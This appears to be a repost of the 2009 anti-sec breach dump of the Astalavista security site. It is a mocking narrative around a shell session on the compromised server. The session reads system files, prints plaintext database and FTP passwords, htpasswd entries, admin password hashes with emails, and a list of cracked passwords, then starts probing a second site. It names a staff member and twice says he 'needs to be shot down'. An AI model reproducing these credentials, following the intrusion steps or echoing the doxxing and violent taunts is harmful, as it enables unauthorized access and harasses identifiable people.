· 8 years ago · Feb 06, 2018, 02:28 PM
1 _____ _________________________ .____ _________ ____.___ _________________________
2 / _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \
3 / /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \
4/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \
5\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
6 \/ \/ \/ \/ \/ \/ \/
7 The Hacking & Security Community
8 [+] Founded in 1997 by a hacker computer enthusiast
9 [-] Exposed in 2009 by anti-sec group
10
11From < http://astalavista.com/faq>:
12>> 03. Who's behind the site?
13>>
14>> A team of security and IT professionals, and a countless number of contributors from all over the world.
15
16>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
17>>
18>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
19military institutions.
20>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
21
22Why has Astalavista been targeted?
23
24Other than the fact that they are not doing any of this for the "community" but
25for the money, they spread exploits for kids, claim to be a security community
26(with no real sense of security on their own servers), and they charge you $6.66
27per months to access a dead forum with a directory filled with public releases
28and outdated / broken services.
29
30We wanted to see how good that "team of security and IT professionals" really is.
31
32Let's begin.
33
34anti-sec:~# ./g0tshell astalavista.com -p 80
35 [+] Connecting to astalavista.com:80
36 [+] Grabbing banner...
37 LiteSpeed
38 [+] Injecting shellcode...
39 [-] Wait for it
40
41 [~] We g0tshell
42 uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
43 ID: uid=100(apache) gid=500(apache) groups=500(apache)
44
45sh-3.2$ cat /etc/passwd
46root:x:0:0:root:/root:/bin/bash
47bin:x:1:1:bin:/bin:/sbin/nologin
48daemon:x:2:2:daemon:/sbin:/sbin/nologin
49adm:x:3:4:adm:/var/adm:/sbin/nologin
50lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
51sync:x:5:0:sync:/sbin:/bin/sync
52shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
53halt:x:7:0:halt:/sbin:/sbin/halt
54mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
55news:x:9:13:news:/etc/news:
56uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
57operator:x:11:0:operator:/root:/sbin/nologin
58games:x:12:100:games:/usr/games:/sbin/nologin
59gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
60ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
61nobody:x:99:99:Nobody:/:/sbin/nologin
62rpm:x:37:37::/var/lib/rpm:/sbin/nologin
63dbus:x:81:81:System message bus:/:/sbin/nologin
64nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
65mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
66smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
67vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
68haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
69rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
70rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
71nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
72sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
73pcap:x:77:77::/var/arpwatch:/sbin/nologin
74named:x:25:25:Named:/var/named:/sbin/nologin
75apache:x:100:500::/var/www:/bin/false
76diradmin:x:101:101::/usr/local/directadmin:/bin/bash
77mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
78webapps:x:500:501::/var/www/html:/bin/bash
79majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
80admin:x:501:502::/home/admin:/bin/bash
81jon:x:502:503::/home/jon:/bin/bash
82com:x:503:504::/home/com:/bin/bash
83ntp:x:38:38::/etc/ntp:/sbin/nologin
84ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
85astanet:x:504:505::/home/astanet:/bin/bash
86avahi:x:70:70:Avahi daemon:/:/sbin/nologin
87avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
88
89sh-3.2$ cat /etc/hosts
90# Do not remove the following line, or various programs
91# that require network functionality will fail.
92127.0.0.1 localhost.localdomain localhost
93::1 localhost6.localdomain6 localhost6
9480.74.154.172 asta1.astalavistaserver.com
95
96sh-3.2$ pwd
97/home/com/public_html
98
99sh-3.2$ ls -la
100total 18460
101drwxr-xr-x 30 com apache 4096 May 28 17:06 .
102drwx--x--x 11 com com 4096 Jun 25 2008 ..
103drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
104drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
105drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
106drwxrwxrwx 2 com com 4096 May 19 00:50 config
107drwxr-xr-x 2 com com 4096 Mar 20 11:05 core
108drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
109drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
110drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
111drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
112-rw-r--r-- 1 com com 8035 May 19 14:26 directory_to_mediadir.php
113drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
114drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor
115-rw-r--r-- 1 com com 3750 Feb 27 16:12 favicon.ico
116drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
117-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
118-rw-r--r-- 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
119-rw-r--r-- 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
120drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
121drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
122-rw-r--r-- 1 com com 97496 Jun 2 13:01 index.php
123drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
124drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
125drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
126drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
127drwxr-xr-x 8 com com 4096 May 11 12:48 modifications
128drwxr-xr-x 34 com com 4096 May 28 16:30 modules
129drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
130drwxrwxr-x 22 com com 4096 May 28 17:06 _new
131drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
132drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
133drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy
134-rw-r--r-- 1 com com 26 Feb 2 19:33 robots.txt
135-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
136-rw-r--r-- 1 com com 223 Mar 30 15:32 test.php
137drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
138drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
139drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
140
141sh-3.2$ head -20 index.php
142<?php
143
144/**
145 * The main page for the CMS
146 * @copyright CONTREXX CMS - COMVATION AG
147 * @author Comvation Development Team
148 * @version v1.0.9.10.1 stable
149 * @package contrexx
150 * @subpackage core
151 * @link http://www.contrexx.com/ contrexx homepage
152 * @since v0.0.0.0
153 * @todo Capitalize all class names in project
154 * @uses /config/configuration.php
155 * @uses /config/settings.php
156 * @uses /config/version.php
157 * @uses /core/API.php
158 * @uses /core_modules/cache/index.class.php
159 * @uses /core/error.class.php
160 * @uses /core_modules/banner/index.class.php
161 * @uses /core_modules/contact/index.class.php
162
163sh-3.2$ cd config/
164sh-3.2$ ls -la
165total 32
166drwxrwxrwx 2 com com 4096 May 19 00:50 .
167drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
168-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php
169-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
170-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
171-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
172
173sh-3.2$ cat configuration.php
174[snip]
175$_DBCONFIG['host'] = 'localhost'; // This is normally set to localhost
176$_DBCONFIG['database'] = 'com_contrexx2_live'; // Database name
177$_DBCONFIG['tablePrefix'] = 'contrexx_'; // Database table prefix
178$_DBCONFIG['user'] = 'contrexxuser2'; // Database username
179$_DBCONFIG['password'] = '0fEYNZgXz1pKe'; // Database password
180$_DBCONFIG['dbType'] = 'mysql'; // Database type (e.g. mysql,postgres ..)
181$_DBCONFIG['charset'] = 'utf8'; // Charset (default, latin1, utf8, ..)
182[snip]
183$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
184$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode
185$_FTPCONFIG['host'] = 'localhost';// This is normally set to localhost
186$_FTPCONFIG['port'] = 21; // Ftp remote port
187$_FTPCONFIG['username'] = 'dev@astalavista.com'; // Ftp login username
188$_FTPCONFIG['password'] = 'jajklop0Iuj'; // Ftp login password
189$_FTPCONFIG['path'] = '/'; // Ftp path to cms
190
191sh-3.2$ cd ..
192sh-3.2$ cd dvd/
193sh-3.2$ ls -la
194total 2913780
195drwxr-xr-x 2 com com 4096 Sep 9 2008 .
196drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
197-rw-r--r-- 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
198-rw-r--r-- 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
199-rw-r--r-- 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
200-rw-r--r-- 1 com com 115 Jan 29 2008 .htaccess
201
202sh-3.2$ cat .htaccess
203authType Basic
204authName DVD
205authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
206require valid-user
207
208sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
209DVDdownload:CRD8cuY6.MPT6
210DVDdownload2:CR8a36.wluFMg
211
212sh-3.2$ cat test.php
213<?php
214$url = 'aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D';
215$url = str_replace(array('&', '&'), '&', base64_decode(rawurldecode($url)));
216echo $url;
217?>
218
219sh-3.2$ cd modifications/
220sh-3.2$ ls -la
221total 32
222drwxr-xr-x 8 com com 4096 May 11 12:48 .
223drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
224drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
225drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
226drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
227drwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc
228drwxr-xr-x 2 com com 4096 Feb 2 19:33 search
229drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
230
231sh-3.2$ ls -R
232.:
233com_avtng cronjobs onlinetools pjirc search _tmp
234
235./com_avtng:
236avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
237
238./com_avtng/scripts:
239popunder.js
240
241./cronjobs:
242exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
243
244./cronjobs/tmp:
245contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv
246
247./onlinetools:
248index.php
249
250./pjirc:
251a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
252AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
253background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
254
255./pjirc/img:
256ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
257arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
258verre-eau.gif
259argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
260verre-vin.gif
261ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
262biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
263
264./pjirc/snd:
265bell2.au ding.au
266
267./search:
268searchEngines.php search.php
269
270./_tmp:
271defaultPorts.php defaultPorts.txt
272
273sh-3.2$ cd cronjobs/
274sh-3.2$ cat exploits.php
275[snip]
276$categories = array();
277$milw0rmFile = FULLPATH . '/modifications/cronjobs/tmp/milw0rm/sploitlist.txt';
278$expolits = file($milw0rmFile);
279$comExploits = array();
280[snip]
281// manage data
282for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
283
284 // get path and title
285 $expolits[$x] = trim($expolits[$x]);
286 $path = str_replace('./', FULLPATH . '/modifications/cronjobs/tmp/milw0rm/', substr($expolits[$x], 0, strpos($expolits[$x], ' ')));
287 $title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ' ') + 1, strlen($expolits[$x])), ENT_QUOTES);
288
289 // check if file exists
290 if (file_exists($path)) {
291
292 $text = file_get_contents($path);
293
294 // get content and date
295 //$text = htmlspecialchars($text, ENT_QUOTES);
296 $tmptext = addslashes(htmlentities($text, ENT_QUOTES, "UTF-8"));
297 if ($tmptext != '') {
298 $text = $tmptext;
299 } else {
300 $text = addslashes(htmlentities($text, ENT_QUOTES));
301 }
302 $date = str_replace('milw0rm.com [', '', str_replace(']', '', strstr($text, 'milw0rm.com [')));
303 $tmp = explode('-', $date);
304 $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
305 $cat = getCategory ($path);
306 $ext = pathinfo(basename($path));
307 $ext = $ext['extension'];
308 $qStr = "
309 SELECT `id`
310 FROM `contrexx_module_exploits`
311 WHERE `title` = '" . $title . "'
312 AND `date` = '" . $date . "'
313 ";
314 echo $x + 1 . ' von ' . count($expolits) . ' -> ' . $qStr . "\n";
315 $q = $_objDB->query($qStr);
316
317 if ($q->numRows() == 0) {
318
319 // prepare array
320 $comExploits[$x]['date'] = $date;
321 $comExploits[$x]['title'] = $title;
322 $comExploits[$x]['author'] = 'milw0rm';
323 $comExploits[$x]['text'] = $text;
324 $comExploits[$x]['source'] = $ext;
325 $comExploits[$x]['url1'] = '';
326 $comExploits[$x]['url2'] = '';
327 $comExploits[$x]['catid'] = $cat;
328 $comExploits[$x]['lang'] = '2';
329 $comExploits[$x]['userid'] = '12';
330 $comExploits[$x]['startdate'] = '0000-00-00';
331 $comExploits[$x]['enddate'] = '0000-00-00';
332 $comExploits[$x]['status'] = '1';
333 $comExploits[$x]['changelog'] = $date;
334
335 }
336[snip]
337 $xml = '<?xml version="1.0" encoding="UTF-8"?>
338<rss version="2.0">
339 <channel>
340 <title>ASTALAVISTA.com - Exploits</title>
341 <link>http://www.astalavista.com/exploits</link>
342 <description>All availably Exploits.</description>
343 <language>en-us</language>
344 <lastBuildDate>' . date('F, j M Y H:i:s O') . '</lastBuildDate>
345 <docs>http://blogs.law.harvard.edu/tech/rss</docs>
346 <generator>Astalavista.com</generator>
347 <webMaster>info@astalavista.com</webMaster>' . $items . '
348 </channel>
349</rss>';
350
351
352 if (file_exists(FULLPATH . '/feed/exploits.xml')) {
353 unlink (FULLPATH . '/feed/exploits.xml');
354 }
355
356
357 file_put_contents(FULLPATH . '/feed/exploits.xml', $xml);
358[snip]
359
360sh-3.2$ cat exploits.sh
361#!/bin/sh
362
363###########################################################
364# #
365# Title: milw0rm exploits adder #
366# Description: Add all milw0rm exploits to the #
367# Astalavista.com database #
368# #
369# Company: Astalavista Group #
370# Author: Paulo M. Santos #
371# E-Mail: paulo.santos@astalavista.ch #
372# #
373###########################################################
374
375
376# path
377this_path=/home/com/public_html/modifications/cronjobs
378
379# change directory
380cd $this_path
381cd tmp/
382
383# delete files
384rm -rf milw0rm.tar.* &
385rm -rf milw0rm/ &
386
387# wget milw0rm paket
388wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2
389
390# extract milw0rm paket
391tar -xvf milw0rm.tar.bz2
392
393# change owner
394chown -R com .
395chgrp -R com .
396
397# execute php script
398cd $this_path
399php -q exploits.php
400
401# delete files
402rm -rf tmp/milw0rm.tar.*
403rm -rf tmp/milw0rm/
404
405sh-3.2$ echo "Paulo M. Santos needs to be shot down."
406Paulo M. Santos needs to be shot down.
407
408mysql -u contrexxuser2 -p
409Enter password:
410Welcome to the MySQL monitor. Commands end with ; or \g.
411Your MySQL connection id is 261694
412Server version: 5.0.45-community-log MySQL Community Edition (GPL)
413
414Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
415
416mysql> show databases;
417+--------------------+
418| Database |
419+--------------------+
420| information_schema |
421| com_contrexx2 |
422| com_contrexx2_live |
423| test |
424+--------------------+
4254 rows in set (0.00 sec)
426
427mysql> use com_contrexx2_live
428Database changed
429mysql> show tables;
430+--------------------------------------------------+
431| Tables_in_com_contrexx2_live |
432+--------------------------------------------------+
433| cc_banner_counter |
434| cc_search_counter |
435| contrexx_access_group_dynamic_ids |
436| contrexx_access_group_static_ids |
437| contrexx_access_rel_user_group |
438| contrexx_access_settings |
439| contrexx_access_user_attribute |
440| contrexx_access_user_attribute_name |
441| contrexx_access_user_attribute_value |
442| contrexx_access_user_core_attribute |
443| contrexx_access_user_groups |
444| contrexx_access_user_mail |
445| contrexx_access_user_profile |
446| contrexx_access_user_title |
447| contrexx_access_user_validity |
448| contrexx_access_users |
449| contrexx_backend_areas |
450| contrexx_backups |
451| contrexx_content |
452| contrexx_content_history |
453| contrexx_content_logfile |
454| contrexx_content_navigation |
455| contrexx_content_navigation_history |
456| contrexx_ids |
457| contrexx_languages |
458| contrexx_lib_country |
459| contrexx_log |
460| contrexx_module_alias_source |
461| contrexx_module_alias_target |
462| contrexx_module_block_blocks |
463| contrexx_module_block_rel_lang |
464| contrexx_module_block_rel_pages |
465| contrexx_module_block_settings |
466| contrexx_module_blog_categories |
467| contrexx_module_blog_comments |
468| contrexx_module_blog_message_to_category |
469| contrexx_module_blog_messages |
470| contrexx_module_blog_messages_lang |
471| contrexx_module_blog_networks |
472| contrexx_module_blog_networks_lang |
473| contrexx_module_blog_settings |
474| contrexx_module_blog_votes |
475| contrexx_module_calendar |
476| contrexx_module_calendar_access |
477| contrexx_module_calendar_categories |
478| contrexx_module_calendar_form_data |
479| contrexx_module_calendar_form_fields |
480| contrexx_module_calendar_registrations |
481| contrexx_module_calendar_settings |
482| contrexx_module_calendar_style |
483| contrexx_module_contact_form |
484| contrexx_module_contact_form_data |
485| contrexx_module_contact_form_field |
486| contrexx_module_contact_settings |
487| contrexx_module_data_categories |
488| contrexx_module_data_message_to_category |
489| contrexx_module_data_messages |
490| contrexx_module_data_messages_lang |
491| contrexx_module_data_placeholders |
492| contrexx_module_data_settings |
493| contrexx_module_directory_access |
494| contrexx_module_directory_categories |
495| contrexx_module_directory_dir |
496| contrexx_module_directory_inputfields |
497| contrexx_module_directory_levels |
498| contrexx_module_directory_mail |
499| contrexx_module_directory_rel_dir_cat |
500| contrexx_module_directory_rel_dir_level |
501| contrexx_module_directory_settings |
502| contrexx_module_directory_settings_google |
503| contrexx_module_directory_vote |
504| contrexx_module_docsys |
505| contrexx_module_docsys_categories |
506| contrexx_module_egov_configuration |
507| contrexx_module_egov_orders |
508| contrexx_module_egov_product_calendar |
509| contrexx_module_egov_product_fields |
510| contrexx_module_egov_products |
511| contrexx_module_egov_settings |
512| contrexx_module_exploits |
513| contrexx_module_exploits_categories |
514| contrexx_module_feed_category |
515| contrexx_module_feed_news |
516| contrexx_module_feed_newsml_association |
517| contrexx_module_feed_newsml_categories |
518| contrexx_module_feed_newsml_documents |
519| contrexx_module_feed_newsml_providers |
520| contrexx_module_forum_access |
521| contrexx_module_forum_categories |
522| contrexx_module_forum_categories_lang |
523| contrexx_module_forum_notification |
524| contrexx_module_forum_postings |
525| contrexx_module_forum_rating |
526| contrexx_module_forum_settings |
527| contrexx_module_forum_statistics |
528| contrexx_module_gallery_categories |
529| contrexx_module_gallery_comments |
530| contrexx_module_gallery_language |
531| contrexx_module_gallery_language_pics |
532| contrexx_module_gallery_pictures |
533| contrexx_module_gallery_settings |
534| contrexx_module_gallery_votes |
535| contrexx_module_guestbook |
536| contrexx_module_guestbook_settings |
537| contrexx_module_livecam |
538| contrexx_module_livecam_settings |
539| contrexx_module_market |
540| contrexx_module_market_access |
541| contrexx_module_market_categories |
542| contrexx_module_market_mail |
543| contrexx_module_market_paypal |
544| contrexx_module_market_settings |
545| contrexx_module_market_spez_fields |
546| contrexx_module_mediadir_access |
547| contrexx_module_mediadir_categories |
548| contrexx_module_mediadir_comments |
549| contrexx_module_mediadir_dir |
550| contrexx_module_mediadir_inputfields |
551| contrexx_module_mediadir_levels |
552| contrexx_module_mediadir_mail |
553| contrexx_module_mediadir_rel_dir_cat |
554| contrexx_module_mediadir_rel_dir_level |
555| contrexx_module_mediadir_reports |
556| contrexx_module_mediadir_settings |
557| contrexx_module_mediadir_settings_google |
558| contrexx_module_mediadir_vote |
559| contrexx_module_memberdir_directories |
560| contrexx_module_memberdir_name |
561| contrexx_module_memberdir_settings |
562| contrexx_module_memberdir_values |
563| contrexx_module_nettools_allowed_groups |
564| contrexx_module_nettools_settings |
565| contrexx_module_news |
566| contrexx_module_news_access |
567| contrexx_module_news_categories |
568| contrexx_module_news_settings |
569| contrexx_module_news_teaser_frame |
570| contrexx_module_news_teaser_frame_templates |
571| contrexx_module_news_ticker |
572| contrexx_module_newsletter |
573| contrexx_module_newsletter_attachment |
574| contrexx_module_newsletter_category |
575| contrexx_module_newsletter_confirm_mail |
576| contrexx_module_newsletter_rel_cat_news |
577| contrexx_module_newsletter_rel_user_cat |
578| contrexx_module_newsletter_settings |
579| contrexx_module_newsletter_template |
580| contrexx_module_newsletter_tmp_sending |
581| contrexx_module_newsletter_user |
582| contrexx_module_newsletter_user_title |
583| contrexx_module_onlinetools_defaultports |
584| contrexx_module_onlinetools_defaultports_back |
585| contrexx_module_onlinetools_geolitecity_blocks |
586| contrexx_module_onlinetools_geolitecity_country |
587| contrexx_module_onlinetools_geolitecity_location |
588| contrexx_module_podcast_category |
589| contrexx_module_podcast_medium |
590| contrexx_module_podcast_rel_category_lang |
591| contrexx_module_podcast_rel_medium_category |
592| contrexx_module_podcast_settings |
593| contrexx_module_podcast_template |
594| contrexx_module_proxydb |
595| contrexx_module_recommend |
596| contrexx_module_repository |
597| contrexx_module_securitynews_cats |
598| contrexx_module_securitynews_feeds |
599| contrexx_module_securitynews_news |
600| contrexx_module_shop_categories |
601| contrexx_module_shop_config |
602| contrexx_module_shop_countries |
603| contrexx_module_shop_currencies |
604| contrexx_module_shop_customers |
605| contrexx_module_shop_importimg |
606| contrexx_module_shop_lsv |
607| contrexx_module_shop_mail |
608| contrexx_module_shop_mail_content |
609| contrexx_module_shop_manufacturer |
610| contrexx_module_shop_order_items |
611| contrexx_module_shop_order_items_attributes |
612| contrexx_module_shop_orders |
613| contrexx_module_shop_payment |
614| contrexx_module_shop_payment_processors |
615| contrexx_module_shop_pricelists |
616| contrexx_module_shop_products |
617| contrexx_module_shop_products_attributes |
618| contrexx_module_shop_products_attributes_name |
619| contrexx_module_shop_products_attributes_value |
620| contrexx_module_shop_products_downloads |
621| contrexx_module_shop_rel_countries |
622| contrexx_module_shop_rel_payment |
623| contrexx_module_shop_rel_shipment |
624| contrexx_module_shop_shipment_cost |
625| contrexx_module_shop_shipper |
626| contrexx_module_shop_vat |
627| contrexx_module_shop_zones |
628| contrexx_module_u2u_address_list |
629| contrexx_module_u2u_message_log |
630| contrexx_module_u2u_sent_messages |
631| contrexx_module_u2u_settings |
632| contrexx_module_u2u_user_log |
633| contrexx_modules |
634| contrexx_sessions |
635| contrexx_settings |
636| contrexx_settings_smtp |
637| contrexx_skins |
638| contrexx_stats_browser |
639| contrexx_stats_colourdepth |
640| contrexx_stats_config |
641| contrexx_stats_country |
642| contrexx_stats_hostname |
643| contrexx_stats_javascript |
644| contrexx_stats_operatingsystem |
645| contrexx_stats_referer |
646| contrexx_stats_requests |
647| contrexx_stats_requests_summary |
648| contrexx_stats_screenresolution |
649| contrexx_stats_search |
650| contrexx_stats_spiders |
651| contrexx_stats_spiders_summary |
652| contrexx_stats_visitors |
653| contrexx_stats_visitors_summary |
654| contrexx_voting_additionaldata |
655| contrexx_voting_email |
656| contrexx_voting_rel_email_system |
657| contrexx_voting_results |
658| contrexx_voting_system |
659| foo |
660+--------------------------------------------------+
661227 rows in set (0.01 sec)
662
663mysql> select count(*) as skids from contrexx_access_users;
664+-------+
665| skids |
666+-------+
667| 53699 |
668+-------+
6691 row in set (0.00 sec)
670
671mysql> describe contrexx_access_users;
672+------------------+------------------------------------------+------+-----+--------------+----------------+
673| Field | Type | Null | Key | Default | Extra |
674+------------------+------------------------------------------+------+-----+--------------+----------------+
675| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
676| is_admin | tinyint(1) unsigned | NO | | 0 | |
677| username | varchar(40) | YES | MUL | NULL | |
678| password | varchar(32) | YES | | NULL | |
679| regdate | int(14) unsigned | NO | | 0 | |
680| expiration | int(14) unsigned | NO | | 0 | |
681| validity | int(10) unsigned | NO | | 0 | |
682| last_auth | int(14) unsigned | NO | | 0 | |
683| last_activity | int(14) unsigned | NO | | 0 | |
684| email | varchar(255) | YES | | NULL | |
685| email_access | enum('everyone','members_only','nobody') | NO | | nobody | |
686| frontend_lang_id | int(2) unsigned | NO | | 0 | |
687| backend_lang_id | int(2) unsigned | NO | | 0 | |
688| active | tinyint(1) | NO | | 0 | |
689| profile_access | enum('everyone','members_only','nobody') | NO | | members_only | |
690| restore_key | varchar(32) | NO | | | |
691| restore_key_time | int(14) unsigned | NO | | 0 | |
692| u2u_active | enum('0','1') | NO | | 1 | |
693+------------------+------------------------------------------+------+-----+--------------+----------------+
69418 rows in set (0.00 sec)
695
696mysql> select username,password,email from contrexx_access_users where is_admin = 1;
697+------------+----------------------------------+-----------------------------+
698| username | password | email |
699+------------+----------------------------------+-----------------------------+
700| system | 0defe9e458e745625fffbc215d7801c5 | info@comvation.com |
701| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | prozac@astalavista.com |
702| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | paulo.santos@astalavista.ch |
703| schmid | 0defe9e458e745625fffbc215d7801c5 | ivan.schmid@comvation.com |
704+------------+----------------------------------+-----------------------------+
7054 rows in set (0.04 sec)
706
707mysql> exit;
708Bye
709
710[~] There you go, your "team of security and IT professionals" is a joke.
711
712+------------------------------+
713system:f82BN3+_*
714Be1er0ph0r:belerophor4astacom
715prozac:asta4cms!
716commander:mpbdaagf6m
717sykadul:ak29eral
718+------------------------------+
719
720[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
721 ...and the others, find another area to get paid from, security isn't for sale and you obviously fail at it.
722
723[~] Lets move to astalavista.net now,
724
725From <https://www.astalavista.net/>:
726>> Everyone knows that the best defense is a good offense.
727>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
728>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
729>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking."
730
731>> Go ahead, try and hack our server . in a completely legal way!
732>> Learn by doing: We offer our members tricky tasks and challenges on an
733>> ongoing basis so you can test your knowledge and abilities. You can also
734>> demonstrate what you.ve mastered by taking part in regular hacker contests
735>> and war games
736
737[~] Lets take a look there, after all... they are hack-proof, aren't they?!
738
739[-] Tricky task: Find home dir of astalavista.net
740
741sh-3.2$ ls -la ~astanet
742total 48
743drwx--x--x 6 astanet astanet 4096 Dec 23 15:55 .
744drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
745drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
746-rw------- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
747-rw-r--r-- 1 astanet astanet 33 Dec 17 21:50 .bash_logout
748-rw-r--r-- 1 astanet astanet 176 Dec 17 21:50 .bash_profile
749-rw-r--r-- 1 astanet astanet 124 Dec 17 21:50 .bashrc
750drwx--x--x 3 astanet astanet 4096 Dec 23 12:18 domains
751drwxrwx--- 3 astanet mail 4096 Dec 23 12:18 imap
752drwx------ 2 astanet astanet 4096 Dec 23 12:18 mail
753lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
754-rw-r----- 1 astanet mail 34 Dec 22 12:41 .shadow
755
756sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
757sh-3.2$ ls -la
758total 200
759drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 .
760drwx--x--x 8 astanet astanet 4096 Dec 23 13:53 ..
761drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007
762drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
763drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 astanet@astalavista.com
